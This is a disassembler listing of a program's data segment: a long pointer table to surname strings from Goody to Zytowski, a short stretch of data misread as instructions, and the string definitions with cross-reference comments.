"Goody" dd offset aGozzi ; "Gozzi" dd offset aGravell ; "Gravell" dd offset aGreenberg ; "Greenberg" dd offset aGreenfeld ; "Greenfeld" dd offset aGriffiths ; "Griffiths" dd offset aGrigoletto ; "Grigoletto" dd offset aGrummell ; "Grummell" dd offset aGruner ; "Gruner" dd offset aGruppe ; "Gruppe" dd offset aGuenthart ; "Guenthart" dd offset aGunn ; "Gunn" dd offset aGuo ; "Guo" dd offset aHa ; "Ha" dd offset aHaar ; "Haar" dd offset aHackman ; "Hackman" dd offset aHackshaw ; "Hackshaw" dd offset aHaley ; "Haley" dd offset aHalkias ; "Halkias" dd offset aHallowell ; "Hallowell" dd offset aHalpert ; "Halpert" dd offset aHambarzumjan ; "Hambarzumjan" dd offset aHamer ; "Hamer" dd offset aHammerness ; "Hammerness" dd offset aHand ; "Hand" dd offset aHanssen ; "Hanssen" dd offset aHarding ; "Harding" dd offset aHargraves ; "Hargraves" dd offset aHarlow ; "Harlow" dd offset aHarrigan ; "Harrigan" dd offset aHartman ; "Hartman" dd offset aHartmann ; "Hartmann" dd offset aHartnett ; "Hartnett" dd offset aHarwell ; "Harwell" dd offset aHaviaras ; "Haviaras" dd offset aHawkes ; "Hawkes" dd offset aHayes ; "Hayes" dd offset aHaynes ; "Haynes" dd offset aHazlewood ; "Hazlewood" dd offset aHeermans ; "Heermans" dd offset aHeft ; "Heft" dd offset aHeiland ; "Heiland" dd offset aHellman ; "Hellman" dd offset aHellmiss ; "Hellmiss" dd offset aHelprin ; "Helprin" dd offset aHemphill ; "Hemphill" dd offset aHenery ; "Henery" dd offset aHenrichs ; "Henrichs" dd offset aHernandez ; "Hernandez" dd offset aHerrera ; "Herrera" dd offset aHester ; "Hester" dd offset aHeubert ; "Heubert" dd offset aHeyeck ; "Heyeck" dd offset aHimmelfarb ; "Himmelfarb" dd offset aHind ; "Hind" dd offset aHirst ; "Hirst" dd offset aHitchcock ; "Hitchcock" dd offset aHoang ; "Hoang" dd offset aHock ; "Hock" dd offset aHoffer ; "Hoffer" dd offset aHoffman ; "Hoffman" dd offset aHokanson ; "Hokanson" dd offset aHokoda ; "Hokoda" dd offset aHolmes ; "Holmes" dd offset aHoloien ; "Holoien" dd offset aHolter ; "Holter" dd offset aHolway ; "Holway" dd offset aHolzman ; "Holzman" dd offset aHooker ; "Hooker" dd offset aHopkins ; "Hopkins" dd offset aHorsley ; "Horsley" dd offset aHoshida ; "Hoshida" dd offset aHostage ; "Hostage" dd offset aHottle ; "Hottle" dd offset aHoward ; "Howard" dd offset aHoy ; "Hoy" dd offset aHuey ; "Huey" dd offset aHuidekoper ; "Huidekoper" dd offset aHungerford ; "Hungerford" dd offset aHuntington ; "Huntington" dd offset aHupp ; "Hupp" dd offset aHurtubise ; "Hurtubise" dd offset aHutchings ; "Hutchings" dd offset aHyde ; "Hyde" dd offset aIaquinta ; "Iaquinta" dd offset aIchikawa ; "Ichikawa" dd offset aIgarashi ; "Igarashi" dd offset aInamura ; "Inamura" dd offset aInniss ; "Inniss" dd offset aIsaac ; "Isaac" dd offset aIsaievych ; "Isaievych" dd offset aIsbill ; "Isbill" dd offset aIsserman ; "Isserman" dd offset aIyer ; "Iyer" dd offset aJacenko ; "Jacenko" dd offset aJackson ; "Jackson" dd offset aJagers ; "Jagers" dd offset aJagger ; "Jagger" dd offset aJagoe ; "Jagoe" dd offset aJain ; "Jain" dd offset aJamil ; "Jamil" dd offset aJanjigian ; "Janjigian" dd offset aJarnagin ; "Jarnagin" dd offset aJarrell ; "Jarrell" dd offset aJay ; "Jay" dd offset aJeffers ; "Jeffers" dd offset aJellis ; "Jellis" dd offset aJenkins ; "Jenkins" dd offset aJespersen ; "Jespersen" dd offset aJewett ; "Jewett" dd offset aJohannesson ; "Johannesson" dd offset aJohannsen ; "Johannsen" dd offset aJohns ; "Johns" dd offset aJolly ; "Jolly" dd offset aJorgensen ; "Jorgensen" dd offset aJucks ; "Jucks" dd offset aJuliano ; "Juliano" dd offset aJulious ; "Julious" dd offset aKabbash ; "Kabbash" dd offset aKaboolian ; "Kaboolian" dd offset aKafadar ; "Kafadar" dd offset aKalbfleisch ; "Kalbfleisch" dd offset aKaligian ; "Kaligian" dd offset aKalil ; "Kalil" dd offset aKalinowski ; "Kalinowski" dd offset aKalman ; "Kalman" dd offset aKamel ; "Kamel" dd offset aKangis ; "Kangis" dd offset aKarpouzes ; "Karpouzes" dd offset aKassower ; "Kassower" dd offset aKasten ; "Kasten" dd offset aKawachi ; "Kawachi" dd offset aKee ; "Kee" dd offset aKeenan ; "Keenan" dd offset aKeepper ; "Keepper" dd offset aKeith ; "Keith" dd offset aKelker ; "Kelker" dd offset aKelsey ; "Kelsey" dd offset aKempton ; "Kempton" dd offset aKemsley ; "Kemsley" dd offset aKendall ; "Kendall" dd offset aKerry ; "Kerry" dd offset aKeul ; "Keul" dd offset aKhong ; "Khong" dd offset aKimmel ; "Kimmel" dd offset aKimmett ; "Kimmett" dd offset aKimura ; "Kimura" dd offset aKindall ; "Kindall" dd offset aKinsley ; "Kinsley" dd offset aKippenberger ; "Kippenberger" dd offset aKirscht ; "Kirscht" dd offset aKittridge ; "Kittridge" dd offset aKleckner ; "Kleckner" dd offset aKleiman ; "Kleiman" dd offset aKleinfelder ; "Kleinfelder" dd offset aKlemperer ; "Klemperer" dd offset aKling ; "Kling" dd offset aKlinkenborg ; "Klinkenborg" dd offset aKlint ; "Klint" dd offset aKnuff ; "Knuff" dd offset aKobrick ; "Kobrick" dd offset aKoch ; "Koch" dd offset aKohn ; "Kohn" dd offset aKoivumaki ; "Koivumaki" dd offset aKommer ; "Kommer" dd offset aKoniaris ; "Koniaris" dd offset aKonrad ; "Konrad" dd offset aKool ; "Kool" dd offset aKorzybski ; "Korzybski" dd offset aKotter ; "Kotter" dd offset aKovaks ; "Kovaks" dd offset aKraemer ; "Kraemer" dd offset aKrailo ; "Krailo" dd offset aKrasney ; "Krasney" dd offset aKraus ; "Kraus" dd offset aKroemer ; "Kroemer" dd offset aKrysiak ; "Krysiak" dd offset aKuenzli ; "Kuenzli" dd offset aKumar ; "Kumar" dd offset aKusman ; "Kusman" dd offset aKuwabara ; "Kuwabara" dd offset aLa ; "La" dd offset aLabunka ; "Labunka" dd offset aLafler ; "Lafler" dd offset aLaing ; "Laing" dd offset aLallemant ; "Lallemant" dd offset aLandes ; "Landes" dd offset aLankes ; "Lankes" dd offset aLantieri ; "Lantieri" dd offset aLanzit ; "Lanzit" dd offset aLaserna ; "Laserna" dd offset aLashley ; "Lashley" dd offset aLawless ; "Lawless" dd offset aLecar ; "Lecar" dd offset aLecce ; "Lecce" dd offset aLeclercq ; "Leclercq" dd offset aLeite ; "Leite" dd offset aLenard ; "Lenard" dd offset aLEnclos ; "l'Enclos" dd offset aLesser ; "Lesser" dd offset aLessi ; "Lessi" dd offset aLiakos ; "Liakos" dd offset aLidano ; "Lidano" dd offset aLiem ; "Liem" dd offset aLight ; "Light" dd offset aLightfoot ; "Lightfoot" dd offset aLim ; "Lim" dd offset aLinares ; "Linares" dd offset aLinda ; "Linda" dd offset aLinder ; "Linder" dd offset aLine ; "Line" dd offset aLinehan ; "Linehan" dd offset aLinzee ; "Linzee" dd offset aLippmann ; "Lippmann" dd offset aLipponen ; "Lipponen" dd offset aLittle ; "Little" dd offset aLitvak ; "Litvak" dd offset aLivernash ; "Livernash" dd offset aLivi ; "Livi" dd offset aLivolsi ; "Livolsi" dd offset aLizardo ; "Lizardo" dd offset aLocatelli ; "Locatelli" dd offset aLongworth ; "Longworth" dd offset aLoss ; "Loss" dd offset aLoveman ; "Loveman" dd offset aLowenstein ; "Lowenstein" dd offset aLoza ; "Loza" dd offset aLubin ; "Lubin" dd offset aLucas ; "Lucas" dd offset aLuciano ; "Luciano" dd offset aLuczkow ; "Luczkow" dd offset aLuecke ; "Luecke" dd offset aLunetta ; "Lunetta" dd offset aLuoma ; "Luoma" dd offset aLussier ; "Lussier" dd offset aLutcavage ; "Lutcavage" dd offset aLuzader ; "Luzader" dd offset aMa ; "Ma" dd offset aMaccormac ; "Maccormac" dd offset aMacdonald ; "Macdonald" dd offset aMaceachern ; "Maceachern" dd offset aMacintyre ; "Macintyre" dd offset aMackenney ; "Mackenney" dd offset aMacmillan ; "MacMillan" dd offset aMacy ; "Macy" dd offset aMadigan ; "Madigan" dd offset aMaggio ; "Maggio" dd offset aMahony ; "Mahony" dd offset aMaier ; "Maier" dd offset aMaineHershey ; "Maine-Hershey" dd offset aMaisano ; "Maisano" dd offset aMalatesta ; "Malatesta" dd offset aMaller ; "Maller" dd offset aMalova ; "Malova" dd offset aManalis ; "Manalis" dd offset aMandel ; "Mandel" dd offset aManganiello ; "Manganiello" dd offset aMantovan ; "Mantovan" dd offset aMarch ; "March" dd offset aMarchbanks ; "Marchbanks" dd offset aMarcus ; "Marcus" dd offset aMargalit ; "Margalit" dd offset aMargetts ; "Margetts" dd offset aMarques ; "Marques" dd offset aMartinez ; "Martinez" dd offset aMartochio ; "Martochio" dd offset aMarton ; "Marton" dd offset aMarubini ; "Marubini" dd offset aMass ; "Mass" dd offset aMatalka ; "Matalka" dd offset aMatarazzo ; "Matarazzo" dd offset aMatsukata ; "Matsukata" dd offset aMattson ; "Mattson" dd offset aMauzy ; "Mauzy" dd offset aMay ; "May" dd offset aMazzali ; "Mazzali" dd offset aMazziotta ; "Mazziotta" dd offset aMcbride ; "Mcbride" dd offset aMccaffery ; "Mccaffery" dd offset aMccall ; "Mccall" dd offset aMcclearn ; "Mcclearn" dd offset aMcdowell ; "Mcdowell" dd offset aMcelroy ; "Mcelroy" dd offset aMcfadden ; "McFadden" dd offset aMcghee ; "Mcghee" dd offset aMcgoldrick ; "Mcgoldrick" dd offset aMcilroy ; "McIlroy" dd offset aMcintosh ; "Mcintosh" dd offset aMckenna ; "Mckenna" dd offset aMclane ; "Mclane" dd offset aMclaren ; "Mclaren" dd offset aMcnealy ; "Mcnealy" dd offset aMcnulty ; "Mcnulty" dd offset aMeccariello ; "Meccariello" dd offset aMemisoglu ; "Memisoglu" dd offset aMenzies ; "Menzies" dd offset aMerikoski ; "Merikoski" dd offset aMerlani ; "Merlani" dd offset aMerminod ; "Merminod" dd offset aMerseth ; "Merseth" dd offset aMerz ; "Merz" dd offset aMetelka ; "Metelka" dd offset aMetropolis ; "Metropolis" dd offset aMeurer ; "Meurer" dd offset aMichelman ; "Michelman" dd offset aMiddle ; "Middle" dd offset aMieher ; "Mieher" dd offset aMills ; "Mills" dd offset aMinh ; "Minh" dd offset aMini ; "Mini" dd offset aMinichiello ; "Minichiello" dd offset aGonzalez ; "Gonzalez" dd offset aMitropoulos ; "Mitropoulos" dd offset aMittal ; "Mittal" dd offset aMocroft ; "Mocroft" dd offset aModestino ; "Modestino" dd offset aMoeller ; "Moeller" dd offset aMohr ; "Mohr" dd offset aMoiamedi ; "Moiamedi" dd offset aMonque ; "Monque" dd offset aMontilio ; "Montilio" dd offset aMooredech_ ; "MooreDeCh." dd offset aMorani ; "Morani" dd offset aMoreton ; "Moreton" dd offset aMorrison ; "Morrison" dd offset aMorrow ; "Morrow" dd offset aMortimer ; "Mortimer" dd offset aMosher ; "Mosher" dd offset aMosler ; "Mosler" dd offset aMostafavi ; "Mostafavi" dd offset aMotooka ; "Motooka" dd offset aMudarri ; "Mudarri" dd offset aMuello ; "Muello" dd offset aMugnai ; "Mugnai" dd offset aMulkern ; "Mulkern" dd offset aMulroy ; "Mulroy" dd offset aMumford ; "Mumford" dd offset aMussachio ; "Mussachio" dd offset aNaddeo ; "Naddeo" dd offset aNapolitano ; "Napolitano" dd offset aNardi ; "Nardi" dd offset aNardone ; "Nardone" dd offset aNaviaux ; "Naviaux" dd offset aNayduch ; "Nayduch" dd offset aNelson ; "Nelson" dd offset aNenna ; "Nenna" dd offset aNesci ; "Nesci" dd offset aNeuman ; "Neuman" dd offset aNewfeld ; "Newfeld" dd offset aNewlin ; "Newlin" dd offset aNg ; "Ng" dd offset aNi_0 ; "Ni" dd offset aNickerson ; "Nickerson" dd offset aNickoloff ; "Nickoloff" dd offset aNisenson ; "Nisenson" dd offset aNitabach ; "Nitabach" dd offset aNotman ; "Notman" dd offset aNuzum ; "Nuzum" dd offset aOcougne ; "Ocougne" dd offset aOgata ; "Ogata" dd offset aOh ; "Oh" dd offset aOHagan ; "O'hagan" dd offset aOldford ; "Oldford" dd offset aOlsen ; "Olsen" dd offset aOlson ; "Olson" dd offset aOlszewski ; "Olszewski" dd offset aOMalley ; "O'malley" dd offset aOman ; "Oman" dd offset aOMeara ; "O'meara" dd offset aOpel ; "Opel" dd offset aOray ; "Oray" dd offset aOrfield ; "Orfield" dd offset aOrsi ; "Orsi" dd offset aOspina ; "Ospina" dd offset aOstrowski ; "Ostrowski" dd offset aOttaviani ; "Ottaviani" dd offset aOtten ; "Otten" dd offset aOuchida ; "Ouchida" dd offset aOvid ; "Ovid" dd offset aPaesdealmeida ; "PaesDealmeida" dd offset aPaine ; "Paine" dd offset aPalayoor ; "Palayoor" dd offset aPalepu ; "Palepu" dd offset aPallara ; "Pallara" dd offset aPalmitesta ; "Palmitesta" dd offset aPanadero ; "Panadero" dd offset aPanizzon ; "Panizzon" dd offset aPantilla ; "Pantilla" dd offset aPaoletti ; "Paoletti" dd offset aParmeggiani ; "Parmeggiani" dd offset aParris ; "Parris" dd offset aPartridge ; "Partridge" dd offset aPascucci ; "Pascucci" dd offset aPatefield ; "Patefield" dd offset aPatrick ; "Patrick" dd offset aPattullo ; "Pattullo" dd offset aPavetti ; "Pavetti" dd offset aPavlon ; "Pavlon" dd offset aPawloski ; "Pawloski" dd offset aPaynter ; "Paynter" dd offset aPeabody ; "Peabody" dd offset aPearlberg ; "Pearlberg" dd offset aPederson ; "Pederson" dd offset aPeishel ; "Peishel" dd offset aPenny ; "Penny" dd offset aPereira ; "Pereira" dd offset aPerko ; "Perko" dd offset aPerlak ; "Perlak" dd offset aPerlman ; "Perlman" dd offset aPerna ; "Perna" dd offset aPerone ; "Perone" dd offset aPerrimon ; "Perrimon" dd offset aPeters ; "Peters" dd offset aPetruzello ; "Petruzello" dd offset aPettibone ; "Pettibone" dd offset aPettit ; "Pettit" dd offset aPfister ; "Pfister" dd offset aPilbeam ; "Pilbeam" dd offset aPinot ; "Pinot" dd offset aPlancon ; "Plancon" dd offset aPlant ; "Plant" dd offset aPlasket ; "Plasket" dd offset aPlous ; "Plous" dd offset aPo ; "Po" dd offset aPocobene ; "Pocobene" dd offset aPoincaire ; "Poincaire" dd offset aPointer ; "Pointer" dd offset aPoirier ; "Poirier" dd offset aPolak ; "Polak" dd offset aPolanyi ; "Polanyi" dd offset aPolitis ; "Politis" dd offset aPoma ; "Poma" dd offset aPoolman ; "Poolman" dd offset aPowers ; "Powers" dd offset aPresper ; "Presper" dd offset aPreucel ; "Preucel" dd offset aPrevost ; "Prevost" dd offset aPritchard ; "Pritchard" dd offset aPritz ; "Pritz" dd offset aProietti ; "Proietti" dd offset aProthrowStith ; "Prothrow-Stith" dd offset aPuccia ; "Puccia" dd offset aPugh ; "Pugh" dd offset aPynchon ; "Pynchon" dd offset aQuaday ; "Quaday" dd offset aQuetin ; "Quetin" dd offset aRabe ; "Rabe" dd offset aRabkin ; "Rabkin" dd offset aRadeke ; "Radeke" dd offset aRajagopalan ; "Rajagopalan" dd offset aRaney ; "Raney" dd offset aRangan ; "Rangan" dd offset aRankin ; "Rankin" dd offset aRapple ; "Rapple" dd offset aRayport ; "Rayport" dd offset aReddenTyler ; "Redden-Tyler" dd offset aReedquist ; "Reedquist" dd offset aCunningham ; "Cunningham" dd offset aReinold ; "Reinold" dd offset aRemak ; "Remak" dd offset aRenick ; "Renick" dd offset aRepetto ; "Repetto" dd offset aResnik ; "Resnik" dd offset aRhea ; "Rhea" dd offset aRichmond ; "Richmond" dd offset aRielly ; "Rielly" dd offset aRindos ; "Rindos" dd offset aRineer ; "Rineer" dd offset aRish ; "Rish" dd offset aRivera ; "Rivera" dd offset aRobinson ; "Robinson" dd offset aRocha ; "Rocha" dd offset aRoesler ; "Roesler" dd offset aRogers ; "Rogers" dd offset aRonen ; "Ronen" dd offset aRow ; "Row" dd offset aRoyal ; "Royal" dd offset aRu ; "Ru" dd offset aRuan ; "Ruan" dd offset aRuderman ; "Ruderman" dd offset aRuescher ; "Ruescher" dd offset aRush ; "Rush" dd offset aRyu ; "Ryu" dd offset aSabatello ; "Sabatello" dd offset aSadler ; "Sadler" dd offset aSafire ; "Safire" dd offset aSahu ; "Sahu" dd offset aSali ; "Sali" dd offset aSamson ; "Samson" dd offset aSanchezRamirez ; "Sanchez-Ramirez" dd offset aSanna ; "Sanna" dd offset aSapers ; "Sapers" dd offset aSarin ; "Sarin" dd offset aSartore ; "Sartore" dd offset aSase ; "Sase" dd offset aSatin ; "Satin" dd offset aSatta ; "Satta" dd offset aSatterthwaite ; "Satterthwaite" dd offset aSawtell ; "Sawtell" dd offset aSayied ; "Sayied" dd offset aScarponi ; "Scarponi" dd offset aScepan ; "Scepan" dd offset aScharf ; "Scharf" dd offset aScharlemann ; "Scharlemann" dd offset aScheiner ; "Scheiner" dd offset aSchiano ; "Schiano" dd offset aSchifini ; "Schifini" dd offset aSchilling ; "Schilling" dd offset aSchmitt ; "Schmitt" dd offset aSchossberger ; "Schossberger" dd offset aSchuman ; "Schuman" dd offset aSchutte ; "Schutte" dd offset aSchuyler ; "Schuyler" dd offset aSchwan ; "Schwan" dd offset aSchwickrath ; "Schwickrath" dd offset aScovel ; "Scovel" dd offset aScudder ; "Scudder" dd offset aSeaton ; "Seaton" dd offset aSeeber ; "Seeber" dd offset aSegal ; "Segal" dd offset aSekler ; "Sekler" dd offset aSelvage ; "Selvage" dd offset aSen ; "Sen" dd offset aSennett ; "Sennett" dd offset aSeterdahl ; "Seterdahl" dd offset aSexton ; "Sexton" dd offset aSeyfert ; "Seyfert" dd offset aShaikh ; "Shaikh" dd offset aShakis ; "Shakis" dd offset aShankland ; "Shankland" dd offset aShanley ; "Shanley" dd offset aShar ; "Shar" dd offset aShatrov ; "Shatrov" dd offset aShavelson ; "Shavelson" dd offset aShea ; "Shea" dd offset aSheats ; "Sheats" dd offset aShepherd ; "Shepherd" dd offset aSheppard ; "Sheppard" dd offset aShepstone ; "Shepstone" dd offset aShesko ; "Shesko" dd offset aShia ; "Shia" dd offset aShibata ; "Shibata" dd offset aShimon ; "Shimon" dd offset aSiesto ; "Siesto" dd offset aSigalot ; "Sigalot" dd offset aSigini ; "Sigini" dd offset aSigna ; "Signa" dd offset aSilverman ; "Silverman" dd offset aSilvetti ; "Silvetti" dd offset aSinsabaugh ; "Sinsabaugh" dd offset aSirilli ; "Sirilli" dd offset aSites ; "Sites" dd offset aSkane ; "Skane" dd offset aSkerry ; "Skerry" dd offset aSkoda ; "Skoda" dd offset aSloan ; "Sloan" dd offset aSlowe ; "Slowe" dd offset aSmilow ; "Smilow" dd offset aSniffen ; "Sniffen" dd offset aSnodgrass ; "Snodgrass" dd offset aSocolow ; "Socolow" dd offset aSolon ; "Solon" dd offset aSomers ; "Somers" dd offset aSommariva ; "Sommariva" dd offset aSorabella ; "Sorabella" dd offset aSorg ; "Sorg" dd offset aSottak ; "Sottak" dd offset aSoukup ; "Soukup" dd offset aSoule ; "Soule" dd offset aSoultanian ; "Soultanian" dd offset aSpanier ; "Spanier" dd offset aSparrow ; "Sparrow" dd offset aSpaulding ; "Spaulding" dd offset aSpeizer ; "Speizer" dd offset aSpence ; "Spence" dd offset aSperber ; "Sperber" dd offset aSpicer ; "Spicer" dd offset aSpiegelhalter ; "Spiegelhalter" dd offset aSpiliotis ; "Spiliotis" dd offset aSpinrad ; "Spinrad" dd offset aStmartin ; "StMartin" dd offset aStalvey ; "Stalvey" dd offset aStam ; "Stam" dd offset aStang ; "Stang" dd offset aStassinopolus ; "Stassinopolus" dd offset aStates ; "States" dd offset aStatlender ; "Statlender" dd offset aStefani ; "Stefani" dd offset aSteiner ; "Steiner" dd offset aStephanian ; "Stephanian" dd offset aStepniewska ; "Stepniewska" dd offset aStewartOaten ; "Stewart-Oaten" dd offset aStiepock ; "Stiepock" dd offset aStillwell ; "Stillwell" dd offset aStock ; "Stock" dd offset aStockton ; "Stockton" dd offset aStockwell ; "Stockwell" dd offset aStolzenberg ; "Stolzenberg" dd offset aStonich ; "Stonich" dd offset aStorer ; "Storer" dd offset aStott ; "Stott" dd offset aStrange ; "Strange" dd offset aStrauch ; "Strauch" dd offset aStreiff ; "Streiff" dd offset aStringer ; "Stringer" dd offset aSullivan ; "Sullivan" dd offset aSumner ; "Sumner" dd offset aSuo ; "Suo" dd offset aSurdam ; "Surdam" dd offset aSweeting ; "Sweeting" dd offset aSweetser ; "Sweetser" dd offset aSwindle ; "Swindle" dd offset aTagiuri ; "Tagiuri" dd offset aTai ; "Tai" dd offset aTalaugon ; "Talaugon" dd offset aTambiah ; "Tambiah" dd offset aTandler ; "Tandler" dd offset aTanowitz ; "Tanowitz" dd offset aTatar ; "Tatar" dd offset aTaveras ; "Taveras" dd offset aTawn ; "Tawn" dd offset aTcherepnin ; "Tcherepnin" dd offset aTeague ; "Teague" dd offset aTemes ; "Temes" dd offset aTemmer ; "Temmer" dd offset aTenney ; "Tenney" dd offset aTerracini ; "Terracini" dd offset aThan ; "Than" dd offset aThavaneswaran ; "Thavaneswaran" dd offset aTheodos ; "Theodos" dd offset aThibault ; "Thibault" dd offset aThisted ; "Thisted" dd offset aThomsen ; "Thomsen" dd offset aThroop ; "Throop" dd offset aTierney ; "Tierney" dd offset aTill ; "Till" dd offset aTimmons ; "Timmons" dd offset aTofallis ; "Tofallis" dd offset aTollestrup ; "Tollestrup" dd offset aTolls ; "Tolls" dd offset aTolman ; "Tolman" dd offset aTomford ; "Tomford" dd offset aToomer ; "Toomer" dd offset aTopulos ; "Topulos" dd offset aTorresi ; "Torresi" dd offset aTorske ; "Torske" dd offset aTowler ; "Towler" dd offset aToye ; "Toye" dd offset aTraebert ; "Traebert" dd offset aTrenga ; "Trenga" dd offset aTrewin ; "Trewin" ; --------------------------------------------------------------------------- fsubr st, st(3) inc edx add al, dl jmp short loc_42E6E1 ; --------------------------------------------------------------------------- align 10h enter 42EBh, 0 shr bl, 42h add [eax-53FFBD15h], bh jmp short loc_42E6F1 ; --------------------------------------------------------------------------- align 10h mov al, ds:980042EBh loc_42E6B5: ; CODE XREF: ___:0042E6C8j jmp short loc_42E6F9 ; --------------------------------------------------------------------------- align 4 dd offset aTudge ; "Tudge" ; --------------------------------------------------------------------------- mov bl, ch inc edx add [eax+780042EBh], al jmp short loc_42E709 ; --------------------------------------------------------------------------- align 4 jo short loc_42E6B5 inc edx add [eax-15h], ch inc edx add [ebx+ebp*8+42h], bl add [ebx+ebp*8+42h], dl add [eax-15h], cl inc edx add [eax-15h], al inc edx add [eax], bh loc_42E6E1: ; CODE XREF: ___:0042E69Dj jmp short loc_42E725 ; --------------------------------------------------------------------------- align 4 sub bl, ch inc edx add [eax], ah jmp short loc_42E72D ; --------------------------------------------------------------------------- align 4 sbb bl, ch inc edx add [eax], dl loc_42E6F1: ; CODE XREF: ___:0042E6ADj jmp short loc_42E735 ; --------------------------------------------------------------------------- align 4 dd offset aWaite ; "Waite" db 0 ; --------------------------------------------------------------------------- loc_42E6F9: ; CODE XREF: ___:loc_42E6B5j jmp short loc_42E73D ; --------------------------------------------------------------------------- align 4 dd offset aValencia ; "Valencia" dd offset aWales ; "Wales" dd offset aWallenberg ; "Wallenberg" db 0D8h ; --------------------------------------------------------------------------- loc_42E709: ; CODE XREF: ___:0042E6C5j jmp far ptr 42h:0EACC0042h ; --------------------------------------------------------------------------- dd offset aVanzwet ; "VanZwet" dd offset aVandenberg ; "Vandenberg" dd offset aVanheeckeren ; "Vanheeckeren" dd offset aWarshafsky ; "Warshafsky" dd offset aWasowska ; "Wasowska" db 88h ; --------------------------------------------------------------------------- loc_42E725: ; CODE XREF: ___:loc_42E6E1j jmp far ptr 42h:0EA800042h ; --------------------------------------------------------------------------- db 74h ; --------------------------------------------------------------------------- loc_42E72D: ; CODE XREF: ___:0042E6E9j jmp far ptr 42h:0EA680042h ; --------------------------------------------------------------------------- pop esp loc_42E735: ; CODE XREF: ___:loc_42E6F1j jmp far ptr 42h:0EA500042h ; --------------------------------------------------------------------------- db 44h ; --------------------------------------------------------------------------- loc_42E73D: ; CODE XREF: ___:loc_42E6F9j jmp far ptr 42h:0EA380042h ; --------------------------------------------------------------------------- dd offset aWelles ; "Welles" dd offset aWelsh ; "Welsh" dd offset aWengret ; "Wengret" dd offset aVenne ; "Venne" dd offset aVerghese ; "Verghese" dd offset aWescott ; "Wescott" dd offset aWetzel ; "Wetzel" dd offset aWhately ; "Whately" dd offset aWhilton ; "Whilton" dd offset aWhite ; "White" dd offset aWhitla ; "Whitla" dd offset aWhittaker ; "Whittaker" dd offset aViana ; "Viana" dd offset aViano ; "Viano" dd offset aWiedersheim ; "Wiedersheim" dd offset aWiener ; "Wiener" dd offset aViens ; "Viens" dd offset aVignola ; "Vignola" dd offset aWilder ; "Wilder" dd offset aWilhelm ; "Wilhelm" dd offset aWilk ; "Wilk" dd offset aWilkin ; "Wilkin" dd offset aWilkinson ; "Wilkinson" dd offset aVillarreal ; "Villarreal" dd offset aWillstatter ; "Willstatter" dd offset aWilson ; "Wilson" dd offset aVitali ; "Vitali" dd offset aViviani ; "Viviani" dd offset aVoigt ; "Voigt" dd offset aWolk ; "Wolk" dd offset aVonhoffman ; "VonHoffman" dd offset aWoo ; "Woo" dd offset aWooden ; "Wooden" dd offset aWoods ; "Woods" dd offset aWoodsPowell ; "Woods-Powell" dd offset aVorhaus ; "Vorhaus" dd offset aVotey ; "Votey" dd offset aYacono ; "Yacono" dd offset aYamane ; "Yamane" dd offset aYankee ; "Yankee" dd offset aYarchuk ; "Yarchuk" dd offset aYates ; "Yates" dd offset aYbarra ; "Ybarra" dd offset aYedidia ; "Yedidia" dd offset aYesson ; "Yesson" dd offset aYetiv ; "Yetiv" dd offset aYoffe ; "Yoffe" dd offset aYoo ; "Yoo" dd offset aYoukSee ; "Youk-See" dd offset aYu ; "Yu" dd offset aZachary ; "Zachary" dd offset aZahedi ; "Zahedi" dd offset aZangwill ; "Zangwill" dd offset aZegans ; "Zegans" dd offset aZerbini ; "Zerbini" dd offset aZoldak ; "Zoldak" dd offset aZucconi ; "Zucconi" dd offset aZurn ; "Zurn" dd offset aZwiers ; "Zwiers" dd offset aZytowski ; "Zytowski" aZytowski db 'Zytowski',0 ; DATA XREF: ___:0042E830o align 10h aZwiers db 'Zwiers',0 ; DATA XREF: ___:0042E82Co align 4 aZurn db 'Zurn',0 ; DATA XREF: ___:0042E828o align 10h aZucconi db 'Zucconi',0 ; DATA XREF: ___:0042E824o aZoldak db 'Zoldak',0 ; DATA XREF: ___:0042E820o align 10h aZerbini db 'Zerbini',0 ; DATA XREF: ___:0042E81Co aZegans db 'Zegans',0 ; DATA XREF: ___:0042E818o align 10h aZangwill db 'Zangwill',0 ; DATA XREF: ___:0042E814o align 4 aZahedi db 'Zahedi',0 ; DATA XREF: ___:0042E810o align 4 aZachary db 'Zachary',0 ; DATA XREF: ___:0042E80Co aYu db 'Yu',0 ; DATA XREF: ___:0042E808o align 10h aYoukSee db 'Youk-See',0 ; DATA XREF: ___:0042E804o align 4 aYoo db 'Yoo',0 ; DATA XREF: ___:0042E800o aYoffe db 'Yoffe',0 ; DATA XREF: ___:0042E7FCo align 4 aYetiv db 'Yetiv',0 ; DATA XREF: ___:0042E7F8o align 10h aYesson db 'Yesson',0 ; DATA XREF: ___:0042E7F4o align 4 aYedidia db 'Yedidia',0 ; DATA XREF: ___:0042E7F0o aYbarra db 'Ybarra',0 ; DATA XREF: ___:0042E7ECo align 4 aYates db 'Yates',0 ; DATA XREF: ___:0042E7E8o align 10h aYarchuk db 'Yarchuk',0 ; DATA XREF: ___:0042E7E4o aYankee db 'Yankee',0 ; DATA XREF: ___:0042E7E0o align 10h aYamane db 'Yamane',0 ; DATA XREF: ___:0042E7DCo align 4 aYacono db 'Yacono',0 ; DATA XREF: ___:0042E7D8o align 10h aVotey db 'Votey',0 ; DATA XREF: ___:0042E7D4o align 4 aVorhaus db 'Vorhaus',0 ; DATA XREF: ___:0042E7D0o aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: ___:0042E7CCo align 10h aWoods db 'Woods',0 ; DATA XREF: ___:0042E7C8o align 4 aWooden db 'Wooden',0 ; DATA XREF: ___:0042E7C4o align 10h aWoo db 'Woo',0 ; DATA XREF: ___:0042E7C0o aVonhoffman db 'VonHoffman',0 ; DATA XREF: ___:0042E7BCo align 10h aWolk db 'Wolk',0 ; DATA XREF: ___:0042E7B8o align 4 aVoigt db 'Voigt',0 ; DATA XREF: ___:0042E7B4o align 10h aViviani db 'Viviani',0 ; DATA XREF: ___:0042E7B0o aVitali db 'Vitali',0 ; DATA XREF: ___:0042E7ACo align 10h aWilson db 'Wilson',0 ; DATA XREF: ___:0042E7A8o align 4 aWillstatter db 'Willstatter',0 ; DATA XREF: ___:0042E7A4o aVillarreal db 'Villarreal',0 ; DATA XREF: ___:0042E7A0o align 10h aWilkinson db 'Wilkinson',0 ; DATA XREF: ___:0042E79Co align 4 aWilkin db 'Wilkin',0 ; DATA XREF: ___:0042E798o align 4 aWilk db 'Wilk',0 ; DATA XREF: ___:0042E794o align 4 aWilhelm db 'Wilhelm',0 ; DATA XREF: ___:0042E790o aWilder db 'Wilder',0 ; DATA XREF: ___:0042E78Co align 4 aVignola db 'Vignola',0 ; DATA XREF: ___:0042E788o aViens db 'Viens',0 ; DATA XREF: ___:0042E784o align 4 aWiener db 'Wiener',0 ; DATA XREF: ___:0042E780o 